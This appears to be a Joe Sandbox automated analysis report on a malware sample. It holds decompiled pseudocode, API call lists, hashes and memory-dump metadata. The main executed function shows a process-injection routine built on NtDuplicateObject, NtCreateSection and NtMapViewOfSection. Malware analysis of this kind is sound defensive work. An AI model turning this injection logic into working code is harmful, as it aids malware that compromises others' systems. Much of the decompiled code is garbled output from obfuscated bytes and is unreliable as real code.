				if(_t11 != 0) {
					E0040153A(__edi, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t22 =  *_t29;
				return E004011BD(_t13, _t17, 0x72, _t22, _t23, _t25, _t33);
			}

0x00401960
0x00401960
0x00401960
0x00401960
0x00401961
0x00401966
0x0040196e
0x00401974
0x00401975
0x00401978
0x0040197b
0x0040197c
0x00401981
0x00401983
0x0040198d
0x0040198d
0x00401996
0x004019a4
0x004019c4
0x004019c6
0x004019dc

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 7b9795f79594614cdc2240e247b1a8c813e311bd2ebf40e43f89dba45cbf1fc6
Instruction ID: 4fa9b01e9fd5dc67aab2f2a0cde1b7af8ef9b59d956be13eb0b02b621cdc38fd
Opcode Fuzzy Hash: 7b9795f79594614cdc2240e247b1a8c813e311bd2ebf40e43f89dba45cbf1fc6
Instruction Fuzzy Hash: D0F0C2B6208104FBDB006B959DA1EBA3328EB04354F204537B613B91F1C63D9912E76F

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00410C22 Relevance: 66.4, APIs: 44, Instructions: 432COMMONLIBRARYCODE

Download Yara Rule

APIs

___getlocaleinfo.LIBCMT ref: 00410C59
___getlocaleinfo.LIBCMT ref: 00410C6E
___getlocaleinfo.LIBCMT ref: 00410C83
___getlocaleinfo.LIBCMT ref: 00410C98
___getlocaleinfo.LIBCMT ref: 00410CB0
___getlocaleinfo.LIBCMT ref: 00410CC5
___getlocaleinfo.LIBCMT ref: 00410CD7
___getlocaleinfo.LIBCMT ref: 00410CEC
___getlocaleinfo.LIBCMT ref: 00410D04
___getlocaleinfo.LIBCMT ref: 00410D19

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: ___getlocaleinfo
String ID:
API String ID: 1937885557-0
Opcode ID: 4b3e3e3a8c8762650bd2c96517132d74a96bf774ae9838a5225823307a7ff8b2
Instruction ID: b5b5c7f6981664b854201ecc88649827aa5d2570391a9dae9ca4bd2e7186d392
Opcode Fuzzy Hash: 4b3e3e3a8c8762650bd2c96517132d74a96bf774ae9838a5225823307a7ff8b2
Instruction Fuzzy Hash: BAE1D1B290020DBEEF11DAE1CC81EFFB7FDEB04748F04092AB255E6441EA75AB459764

Uniqueness

Uniqueness Score: -1.00%

Function 0040331C Relevance: 1.4, Strings: 1, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040331C(signed char __ebx, void* __ecx, void* __eflags) {
				signed int _t34;
				signed int _t35;
				intOrPtr* _t38;
				void* _t39;
				void* _t40;
				void* _t48;
				void* _t51;
				void* _t56;
				void* _t57;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed char _t64;
				signed int _t67;
				signed int _t70;
				signed int* _t74;
				signed int _t78;
				signed int* _t79;
				void* _t83;

				L0:
				while(1) {
					L0:
					_t64 = __ebx;
					if(__eflags == 0) {
						goto L17;
					}
					L24:
					_t67 = __ecx + 1;
					__eflags = _t67;
					if(__eflags >= 0) {
						L47:
						asm("adc [ecx+0x2], bl");
						 *_t36 =  *_t36 + _t36;
						 *_t36 =  *_t36 + _t36;
						__eflags =  *_t36;
						goto L48;
					} else {
						L25:
						asm("adc [ecx+0x71], bl");
						if(__eflags == 0) {
							L40:
							_pop(_t56);
							_t35 = _t56 +  *((intOrPtr*)(_t56 - 0x6a));
							__eflags = _t35;
							L41:
							_t36 = _t35 + 1;
							__eflags = _t35 + 1;
							L42:
							_pop(_t38);
							_t35 = _t38 +  *_t38;
							__eflags = _t35;
							L43:
							_t18 = _t35 + 0x75500258;
							 *_t18 =  *(_t35 + 0x75500258) & _t64;
							__eflags =  *_t18;
							goto L44;
						} else {
							L26:
							_pop(_t36);
							if(__eflags >= 0) {
								L48:
								_t24 = _t67 + 0x792780bd;
								 *_t24 =  *(_t67 + 0x792780bd) ^ _t36;
								__eflags =  *_t24;
							} else {
								L27:
								if(__eflags < 0) {
									L44:
									_pop(_t39);
									_t70 = _t70 +  *((intOrPtr*)(_t39 + 0x75));
									_pop(_t40);
									_t35 = _t40 +  *((intOrPtr*)(_t40 - 0x7ffda6f5));
									__eflags = _t35;
									L45:
									 *_t64 =  *_t64 | 0x00000059;
									_t36 = _t35 +  *((intOrPtr*)(_t35 + 0x25914));
									__eflags = _t36;
									L46:
									asm("adc byte [ecx+ebx*2], 0x2");
									 *_t36 =  *_t36 + _t70;
									_pop(_t67);
									_t70 = _t70 +  *((intOrPtr*)(_t36 + 0x25910));
									__eflags = _t70;
									goto L47;
								} else {
									L28:
									if(__eflags < 0) {
										L29:
										 *_t36 =  *_t36 + _t36;
										 *_t36 =  *_t36 + _t36;
										__eflags =  *_t36;
										asm("invalid");
										if(__eflags > 0) {
											L35:
											 *_t36 =  *_t36 + _t36;
											 *_t36 =  *_t36 + _t36;
											asm("int1");
											asm("adc al, dh");
											_t70 = 0x76;
											 *_t36 =  *_t36 + _t36;
											 *_t36 =  *_t36 + _t36;
											asm("loopne 0xffffffa5");
											asm("repne jz 0x3");
											L36:
											 *_t36 =  *_t36 + _t36;
											_t7 = _t36 - 0x69; // 0xfa89f989
											 *_t7 =  *((intOrPtr*)(_t36 - 0x69)) + _t36;
											_pop(_t57);
											__eflags = _t57 +  *((intOrPtr*)(_t57 - 0x7ffda767));
											L37:
											goto L38;
										} else {
											while(1) {
												L30:
												asm("in eax, dx");
												if(__eflags > 0) {
													break;
												} else {
													goto L31;
												}
												while(1) {
													L31:
													asm("wait");
													_pop(_t74);
													if(__eflags <= 0) {
														break;
													}
													L12:
													_t34 = _t74;
													_t74 = _t36;
													asm("salc");
													if(__eflags > 0) {
														L1:
														asm("invalid");
														_push(0x31c5);
														_t67 =  *_t79;
														L3:
														L4:
														asm("les eax, [ebx+ebp*8]");
														_t61 = _t34 + 0xefeb30cb;
														L5:
														L6:
														_t62 = _t61 * _t67;
														L7:
														_t63 = _t62 + _t64;
														_t83 = _t63;
														if(_t83 != 0 && _t83 == 0) {
															asm("loop 0x35");
															asm("adc byte [eax-0x3d], 0xc0");
														}
														L10:
														_push(_t63);
														return _t63;
													}
													L13:
													_t6 = _t34;
													_t34 = _t78;
													_t78 = _t6;
													asm("salc");
													if(__eflags > 0) {
														goto L30;
													} else {
														L14:
														if(__eflags < 0) {
															goto L3;
														}
														L15:
														if(__eflags > 0) {
															continue;
														} else {
															goto L16;
														}
													}
													goto L49;
												}
												L32:
												asm("rcr byte [esi+0x77], 0x20");
												L33:
												if(__eflags <= 0) {
													L34:
													asm("enter 0x775f, 0x0");
													goto L35;
												}
												L38:
												asm("cdq");
												_pop(_t48);
												_t49 = _t48 +  *((intOrPtr*)(_t48 - 0x68));
												__eflags = _t48 +  *((intOrPtr*)(_t48 - 0x68));
												L39:
												_pop(_t51);
												_t70 = _t70 +  *((intOrPtr*)(_t51 - 0x6a));
												__eflags = _t70;
												goto L40;
											}
											L16:
											_t64 = 0xd60077d6;
											goto L17;
										}
									}
								}
							}
						}
					}
					L49:
					asm("daa");
					if(__eflags >= 0) {
						goto L37;
					}
					L50:
					if(__eflags > 0) {
						goto L33;
					}
					L51:
					_t26 = _t78 - 0x644ce34;
					_t27 = _t70;
					_t70 =  *_t26;
					 *_t26 = _t27;
					if(__eflags < 0) {
						goto L42;
					}
					L52:
					asm("fucomi st0, st1");
					_t78 = _t36;
					asm("popfd");
					asm("lock xchg [eax], dh");
					_push(_t74);
					_t64 = 0xb9555069;
					asm("stosd");
					_t49 = _t70 ^  *_t74;
					__eflags = _t49;
					_t70 = 0x90;
					_push(ss);
					if(_t49 < 0) {
						goto L39;
					}
					L53:
					asm("invalid");
					__eflags = _t49 & 0xe9566068;
					return _t49;
					L17:
					asm("salc");
					asm("xlatb");
					if (__eflags > 0) goto L18;
					L18:
					 *_t34 =  *_t34 + _t34;
					_t35 = _t34 + _t34;
					_t78 = _t78 - 1;
					__eflags = _t78;
					if(__eflags >= 0) {
						goto L41;
					} else {
						L19:
						if(__eflags >= 0) {
							goto L43;
						} else {
							L20:
							asm("ror byte [ebp+0x71], 0x74");
							if(__eflags < 0) {
								goto L36;
							} else {
								L21:
								if(__eflags >= 0) {
									goto L45;
								} else {
									L22:
									_t36 = 0x82;
									if(__eflags != 0) {
										goto L46;
									} else {
										L23:
										__eflags = _t64;
										continue;
									}
								}
							}
						}
					}
					goto L49;
				}
			}

0x0040331c
0x0040331c
0x0040331c
0x0040331c
0x0040331c
0x00000000
0x00000000
0x0040331e
0x0040331e
0x0040331e
0x0040331f
0x00403396
0x00403396
0x00403399
0x0040339b
0x0040339b
0x00000000
0x00403321
0x00403321
0x00403321
0x00403324
0x00403376
0x0040337b
0x0040337c
0x0040337c
0x0040337d
0x0040337d
0x0040337d
0x0040337e
0x0040337f
0x00403380
0x00403380
0x00403381
0x00403381
0x00403381
0x00403381
0x00000000
0x00403326
0x00403326
0x00403326
0x00403327
0x0040339d
0x0040339d
0x0040339d
0x0040339d
0x00403329
0x00403329
0x00403329
0x00403383
0x00403383
0x00403384
0x00403387
0x00403388
0x00403388
0x00403389
0x00403389
0x0040338c
0x0040338c
0x0040338d
0x0040338d
0x00403391
0x00403393
0x00403394
0x00403394
0x00000000
0x0040332b
0x0040332b
0x0040332b
0x0040332d
0x0040332d
0x0040332f
0x0040332f
0x00403332
0x00403334
0x00403346
0x00403346
0x00403348
0x0040334a
0x0040334d
0x0040334f
0x00403351
0x00403353
0x00403355
0x00403357
0x0040335a
0x0040335a
0x0040335c
0x0040335c
0x0040335f
0x00403360
0x00403361
0x00000000
0x00403336
0x00403336
0x00403336
0x00403336
0x00403338
0x00000000
0x00000000
0x00000000
0x00000000
0x0040333a
0x0040333a
0x0040333a
0x0040333b
0x0040333c
0x00000000
0x00000000
0x004032ee
0x004032ee
0x004032ee
0x004032ef
0x004032f0
0x004032c2
0x004032c2
0x004032c3
0x004032c8
0x004032cb
0x004032cc
0x004032cc
0x004032cf
0x004032d5
0x004032d8
0x004032d8
0x004032e1
0x004032e1
0x004032e1
0x004032e3
0x004032e7
0x004032ea
0x004032ea
0x004032eb
0x004032eb
0x00000000
0x004032eb
0x004032f2
0x004032f2
0x004032f2
0x004032f2
0x004032f3
0x004032f4
0x00000000
0x004032f6
0x004032f6
0x004032f6
0x00000000
0x00000000
0x004032f8
0x004032f8
0x00000000
0x00000000
0x00000000
0x00000000
0x004032f8
0x00000000
0x004032f4
0x0040333e
0x0040333e
0x00403340
0x00403340
0x00403342
0x00403342
0x00000000
0x00403342
0x00403362
0x00403362
0x0040336f
0x00403370
0x00403370
0x00403372
0x00403373
0x00403374
0x00403374
0x00000000
0x00403374
0x004032fa
0x004032fa
0x00000000
0x004032fa
0x00403334
0x0040332b
0x00403329
0x00403327
0x00403324
0x004033a1
0x004033a1
0x004033a2
0x00000000
0x00000000
0x004033a4
0x004033a4
0x00000000
0x00000000
0x004033a6
0x004033a6
0x004033a6
0x004033a6
0x004033a6
0x004033ac
0x00000000
0x00000000
0x004033ae
0x004033bd
0x004033bf
0x004033c2
0x004033c3
0x004033c6
0x004033c7
0x004033cc
0x004033cd
0x004033cd
0x004033cf
0x004033d1
0x004033d2
0x00000000
0x00000000
0x004033d4
0x004033d4
0x004033d7
0x004033dc
0x004032fe
0x004032fe
0x004032ff
0x00403300
0x00403302
0x00403302
0x00403304
0x00403306
0x00403306
0x00403307
0x00000000
0x0040330a
0x0040330a
0x0040330a
0x00000000
0x0040330d
0x0040330d
0x0040330d
0x00403311
0x00000000
0x00403313
0x00403313
0x00403313
0x00000000
0x00403315
0x00403315
0x00403315
0x00403317
0x00000000
0x00403319
0x00403319
0x00403319
0x00000000
0x00403319
0x00403317
0x00403313
0x00403311
0x0040330a
0x00000000
0x00403307

Strings

t, xrefs: 0040330D

Memory Dump Source

Source File: 00000000.00000002.332432151.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: 34cb9951da256380504141486b731a5b8dc49393053cef60dddcecfc1daaa4c1
Instruction ID: 38ae05e39934e9b17db95c99058f5b8d3cd7ac36495bf89a5919fee17f78b272
Opcode Fuzzy Hash: 34cb9951da256380504141486b731a5b8dc49393053cef60dddcecfc1daaa4c1
Instruction Fuzzy Hash: D941AD1664E3D14EC7074BB058A52947FB68E5367672E04EBC8C4EF2F3C56D0A8B8399

Uniqueness

Uniqueness Score: -1.00%

Function 004131AC Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 75d86a0bef954c8f82bdc5def3d37be9b2f779da30d0028b2f3c66c7b0cfab32
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 64D1A2B3C1B5B30A8735892D416457BEE626FC1B4131EC3E2DCD43F389D62A9E9095D4

Uniqueness

Uniqueness Score: -1.00%

Function 00412D8C Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 2d516777a46df55bf509daa04a8d89a0c2c23d78e4b6a0a823d5ed49738e3c91
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: FCD1C2B3C1B9B30A8735852D426456BEEA26FC174131EC3E28CD43F38DC66A9DA195D4

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: c2f263c81fe5839f578d7dca6adbf423c31e6b6bf914acb49821db6c80a3e454
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 75C1B1B3C1F9B30A8735852D526866BEE626FC174031FC3E28CD46F389D66A9DA085D4

Uniqueness

Uniqueness Score: -1.00%

Function 004125AC Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 650fce8d2bd6915a0aa373001d051e2952c6a3fd06b088c1ca383bde3f619c8f
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: CAC1C5B3D1B5B3098735812D42645BBEE626FD174031EC3E2CCD46F389D66E9DA085D4

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2BB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 0040E2D8
__lock.LIBCMT ref: 0040E333
__lock.LIBCMT ref: 0040E354

Strings

0*C, xrefs: 0040E367
D#@, xrefs: 0040E2C7

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __lock$__crt_waiting_on_module_handle
String ID: 0*C$D#@
API String ID: 946058739-484267361
Opcode ID: a87f3b02426a3f68996586c43f01bec870b0ff04edb550816f3cc0a6fa946534
Instruction ID: b9665e7af91679f3f3b582fdfa13a40e69cb5c7d2ec91507ee80e3025b33b9fd
Opcode Fuzzy Hash: a87f3b02426a3f68996586c43f01bec870b0ff04edb550816f3cc0a6fa946534
Instruction Fuzzy Hash: 55116F71900700ABD720AF76990574ABBE0AF04314F10893FA899B72E1CBB8AA40CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0041559D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 004155BF
__calloc_crt.LIBCMT ref: 004155D8

Strings

h-C, xrefs: 00415641
x/C, xrefs: 00415604

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __calloc_crt
String ID: h-C$x/C
API String ID: 3494438863-154124363
Opcode ID: 5343b3a236963ccdb9b3acedf3f4c6965ea2b6dcddf3e814f34aef42946053d6
Instruction ID: b46a632e76399ed23c9c8f69d2a52335f61cc5348208ef1623372e5e3ce02d5b
Opcode Fuzzy Hash: 5343b3a236963ccdb9b3acedf3f4c6965ea2b6dcddf3e814f34aef42946053d6
Instruction Fuzzy Hash: BD11C471304A11DBE3148A1DBD406F63693BBD4364B54512FE619CA3D4E738DCC2864C

Uniqueness

Uniqueness Score: -1.00%

Function 004100D9 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041010B

Part of subcall function 0040E41B: __getptd_noexit.LIBCMT ref: 0040E41E
Part of subcall function 0040E41B: __amsg_exit.LIBCMT ref: 0040E42B

__getptd.LIBCMT ref: 00410119
__getptd.LIBCMT ref: 00410127
__getptd.LIBCMT ref: 00410132

Part of subcall function 004101FF: __getptd.LIBCMT ref: 0041020E
Part of subcall function 004101FF: __getptd.LIBCMT ref: 0041021C

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID:
API String ID: 803148776-0
Opcode ID: 37089c506bae7821bf1eb554fed32104d49babbacc3b0c08b74765232ce4adf8
Instruction ID: 6906fc2eb059a5fb645e049a3734fac84ca95ae7b208f063daf034c04ceb5dc4
Opcode Fuzzy Hash: 37089c506bae7821bf1eb554fed32104d49babbacc3b0c08b74765232ce4adf8
Instruction Fuzzy Hash: 5311E4B1D00209EFDF00EFA5C945AAD7BB0FF04318F5084BAF814A7291DB799A559F54

Uniqueness

Uniqueness Score: -1.00%

Function 00416FC4 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00416FEA

Part of subcall function 00416E0F: __fltout2.LIBCMT ref: 00416E3B

__cftog_l.LIBCMT ref: 00417010
__cftoe_l.LIBCMT ref: 00417042

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 890290a9821ddd54f04af81d90eefa11c79114543b5f9bbecf0399683e4fde5a
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 38114E7204424ABBCF225E95CC11CEE3F76BB1C394F598416FA5859131C73AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040FE6A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040FE98
__CallSettingFrame@12.LIBCMT ref: 0040FEE8

Strings

j, xrefs: 0040FE6E

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 10cd44e4b75e014efb2b9ab5dff642fdf80d2c9d87d2439701159642f470fb2c
Instruction ID: 9c009d53c19f6bff4e2d2645b2eb01da0ba5b356627684de364355f29f35ad1c
Opcode Fuzzy Hash: 10cd44e4b75e014efb2b9ab5dff642fdf80d2c9d87d2439701159642f470fb2c
Instruction Fuzzy Hash: CB119A32904260DACB21CB68C4443ACBB70BF01318F1881BBD4947FAE3C7796946DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004101FF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041020E

Part of subcall function 0040E41B: __getptd_noexit.LIBCMT ref: 0040E41E
Part of subcall function 0040E41B: __amsg_exit.LIBCMT ref: 0040E42B

__getptd.LIBCMT ref: 0041021C

Strings

csm, xrefs: 0041022A

Memory Dump Source

Source File: 00000000.00000002.332441402.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: bd2b6daa64100f0e5404395fd06fd8505ee1ece52034c30e8a81c3e54b197e8b
Instruction ID: dc9582738dd8ce31577bcca2e8845686fccb3959f9d811b194458195775c562d
Opcode Fuzzy Hash: bd2b6daa64100f0e5404395fd06fd8505ee1ece52034c30e8a81c3e54b197e8b
Instruction Fuzzy Hash: F8012835800205CACF349F66C488AEEB7B5AF21315F144AAFE041A6791CF799DD5CA09

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rgrsiwfPID: 6840, Parent PID: 1088COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	6.7%
Signature Coverage:	0.5%
Total number of Nodes:	1310
Total number of Limit Nodes:	21

Executed Functions

Function 0040153A Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E0040153A(void* __edi, intOrPtr* _a4, void* _a8, intOrPtr _a12, void* _a16, signed int _a1750575217) {
				void* _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				HANDLE* _v72;
				char _v76;
				char _v84;
				char _v88;
				intOrPtr _v96;
				char _v100;
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				void* _t134;
				long* _t136;
				intOrPtr* _t137;
				void* _t155;
				void* _t183;
				intOrPtr* _t184;
				intOrPtr* _t185;
				HANDLE* _t186;
				void* _t204;
				long _t219;

				_push(__edi);
				_t136 = 0x393;
				_t155 = 0xd4;
				E004011BD(0x1581, _t134, 0x393, _t155, __edi, _t183, _t204);
				_t135 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t135 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t135 + 0x1c))(0x3e8);
				}
				_v96 = _t92;
				_t184 =  &_v100;
				 *_t184 = 0;
				 *((intOrPtr*)(_t135 + 0x4c))(_t92, _t184);
				_t95 =  *_t184;
				if(_t95 != 0) {
					_t137 =  &_v52;
					 *_t137 = _t95;
					 *((intOrPtr*)(_t137 + 4)) = 0;
					_t185 =  &_v44;
					 *((intOrPtr*)(_t135 + 0x10))(_t185, 0x18);
					 *_t185 = 0x18;
					_t136 =  &_v52;
					_push(_t136);
					_push(_t185);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t135 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t105 =  &_v84;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t186 =  &_v88;
						if(NtCreateSection(_t186, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t128 =  &_v72;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t128, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t130 =  &_v64;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t186, _v16, _t130, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t186 = _v72;
									 *((intOrPtr*)(_t135 + 0x20))(0, _t186, 0x104);
									_t186[0x82] = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t107 =  &_v84;
						_t136 = _a12 + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							_a1750575217 = _a1750575217 | _t136;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t136;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t186) != 0 || _v12 == 0) {
								goto L70;
							}
							_push(_v84);
							_pop( *_t47);
							_t110 =  &_v76;
							 *_t110 = 0;
							_t136 =  &_v60;
							if(NtMapViewOfSection( *_t186, 0xffffffff, _t110, 0, 0, 0, _t136, 1, 0, 4) == 0) {
								_t112 =  &_v68;
								 *_t112 = 0;
								_t136 =  &_v60;
								_t107 = NtMapViewOfSection( *_t186, _v16, _t112, 0, 0, 0, _t136, 1, 0, 0x20);
								_t219 = _t107;
								if(_t219 == 0) {
									L25();
									if(_t219 == 0 && _t219 != 0) {
										asm("xlatb");
										if (_t219 <= 0) goto L20;
									}
								}
							}
							goto L70;
						}
					}
				}
				L70:
				_t96 = 0x1581;
				_push(0x393);
				_t97 = _t135;
				_t135 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t136;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				_push(0xd4);
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9ecfb884ae7691c5ddcc621dabf301d435b390518ce656d318c6d778483d7623
Instruction ID: 16ec563f425a4e3ea88b17e6e39ee723a37350fc76a263d3a2de0e1c35289203
